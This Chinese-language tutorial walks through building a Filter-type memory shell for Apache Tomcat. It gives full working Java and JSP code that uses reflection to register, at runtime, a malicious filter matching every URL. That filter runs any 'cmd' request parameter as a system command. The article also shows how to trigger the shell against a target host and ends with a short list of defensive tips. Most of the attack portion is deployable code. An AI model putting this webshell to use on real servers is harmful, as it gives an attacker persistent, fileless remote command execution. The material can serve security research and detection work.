自己动手写Filter型内存马
字数 1031 2025-08-11 00:55:07

Filter型内存马实现原理与实战分析

一、Tomcat基础结构理解

要理解Filter型内存马,首先需要掌握Tomcat的基本工作原理:

Tomcat = WEB服务器 + Servlet容器

Connector组件功能

  • 监听网络端口
  • 接收网络请求
  • 读取请求字节流并转换为Request对象
  • 将Request对象发送到Container
  • 接收Container返回的Response对象
  • 转换Response对象为字节流并响应网络请求

Container处理流程

Container使用Pipeline-Valve管道处理request对象:

  • Valve表示管道阀门,每个管道有一个BaseValve(最后执行)
  • request最先进入EnginePipeline处理,依次执行每个Valve
  • 执行到StandardWrapperValve时,会创建FilterChain
  • FilterChain的doFilter方法依次调用匹配的Filter和Servlet

二、Tomcat注册Filter的机制

标准Filter注册流程

  1. addFilterDef - 添加Filter定义
  2. addFilterMap - 添加Filter映射
  3. filterConfigs.put - 将Filter配置存入上下文

关键类说明

  • FilterDef类:存储Filter定义信息

    public class FilterDef implements Serializable {
        private transient Filter filter = null;
        private String filterClass = null;
        private String filterName = null;
        // getter/setter方法
    }
    
  • FilterMap类:存储Filter映射关系

  • ApplicationFilterConfig:封装FilterDef的配置类

三、内存马实现步骤

1. 恶意Filter类实现

public class HackFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        if(request.getParameter("cmd")!=null){
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        chain.doFilter(request,response);
    }
    // 其他方法实现...
}

2. 获取StandardContext对象

通过反射从request获取StandardContext:

// 获取ServletContext
ServletContext servletContext = request.getServletContext();

// 获取ApplicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

// 获取StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

3. 动态注册Filter

(1) 添加FilterDef

FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);

(2) 添加FilterMap

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");  // 匹配所有URL
context.addFilterMap(filterMap);

(3) 创建并添加FilterConfig

// 获取ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class
    .getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);

// 创建FilterConfig实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
    constructor.newInstance(context, filterDef);

// 获取并修改filterConfigs
Field configsField = context.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map filterConfigs = (Map) configsField.get(context);

// 添加配置
filterConfigs.put("HackFilter", filterConfig);

四、关于DispatcherType的说明

在FilterMap中:

filterMap.setDispatcher(DispatcherType.REQUEST.name());
  • 设置Filter应用的调度类型
  • REQUEST表示请求的调度程序类型
  • 实际上这是可选操作,因为默认值就是REQUEST

五、完整JSP实现代码

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class HackFilter implements Filter {
    // Filter实现代码同上
}
%>

<%
// 1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

// 2.addFilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);

// 3.addFilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

// 4.创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);

// 5.添加到filterConfigs
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("HackFilter",filterConfig);
%>

六、内存马使用方式

  1. 访问JSP页面注入内存马:

    http://target.com/addFilter.jsp
    
  2. 触发内存马执行命令:

    http://target.com/anypath?cmd=whoami
    

七、防御建议

  1. 禁用JSP上传功能
  2. 监控Filter的动态注册行为
  3. 定期检查运行中的Filter列表
  4. 使用安全防护设备检测异常行为

通过以上分析,我们完整掌握了Filter型内存马的实现原理和技术细节,这对安全研究和防御都具有重要意义。

Filter型内存马实现原理与实战分析 一、Tomcat基础结构理解 要理解Filter型内存马,首先需要掌握Tomcat的基本工作原理: Connector组件功能 监听网络端口 接收网络请求 读取请求字节流并转换为Request对象 将Request对象发送到Container 接收Container返回的Response对象 转换Response对象为字节流并响应网络请求 Container处理流程 Container使用Pipeline-Valve管道处理request对象: Valve表示管道阀门,每个管道有一个BaseValve(最后执行) request最先进入EnginePipeline处理,依次执行每个Valve 执行到StandardWrapperValve时,会创建FilterChain FilterChain的doFilter方法依次调用匹配的Filter和Servlet 二、Tomcat注册Filter的机制 标准Filter注册流程 addFilterDef - 添加Filter定义 addFilterMap - 添加Filter映射 filterConfigs.put - 将Filter配置存入上下文 关键类说明 FilterDef类 :存储Filter定义信息 FilterMap类 :存储Filter映射关系 ApplicationFilterConfig :封装FilterDef的配置类 三、内存马实现步骤 1. 恶意Filter类实现 2. 获取StandardContext对象 通过反射从request获取StandardContext: 3. 动态注册Filter (1) 添加FilterDef (2) 添加FilterMap (3) 创建并添加FilterConfig 四、关于DispatcherType的说明 在FilterMap中: 设置Filter应用的调度类型 REQUEST表示请求的调度程序类型 实际上这是可选操作,因为默认值就是REQUEST 五、完整JSP实现代码 六、内存马使用方式 访问JSP页面注入内存马: 触发内存马执行命令: 七、防御建议 禁用JSP上传功能 监控Filter的动态注册行为 定期检查运行中的Filter列表 使用安全防护设备检测异常行为 通过以上分析,我们完整掌握了Filter型内存马的实现原理和技术细节,这对安全研究和防御都具有重要意义。